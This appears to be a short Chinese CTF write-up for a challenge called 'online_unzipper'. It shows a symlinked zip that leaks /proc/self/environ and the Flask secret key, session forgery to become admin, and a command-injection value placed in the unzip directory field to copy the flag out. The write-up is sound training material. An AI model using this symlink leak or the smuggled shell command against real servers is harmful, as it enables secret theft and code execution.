online_unzipper

白盒,FLASK_SECRET_KEY 在环境变量中,先构造软路由:

1
2
ln -s /proc/self/environ test
zip -y test.zip test

上传之后可以得到环境变量,伪造session ,得到admin 身份:

1
2
3
4
if role == "admin":
dirname = request.form.get("dirname") or str(uuid.uuid4())
else:
dirname = str(uuid.uuid4())

admin 可以自定义解压文件夹,我们再跟进一下解压逻辑:

1
os.system(f"unzip -o {zip_path} -d {target_dir}")

可见我们只要在自定义解压文件夹处使用;就可以执行代码了。不用在意压缩包的内容和名称:

1
x; mkdir -p /app/uploads/public; cat /flag-*.txt > /app/uploads/public/flag.txt; #

而download 的路由其实只是读 uploads 罢了,因此访问/download/public/flag.txt就可以得到flag:

1
2
3
4
5
6
7
8
@app.route("/download/<folder>")
def download(folder):
target_dir = os.path.join(UPLOAD_FOLDER, folder)
if not os.path.exists(target_dir):
abort(404)

files = os.listdir(target_dir)
return render_template("download.html", folder=folder, files=files)

ping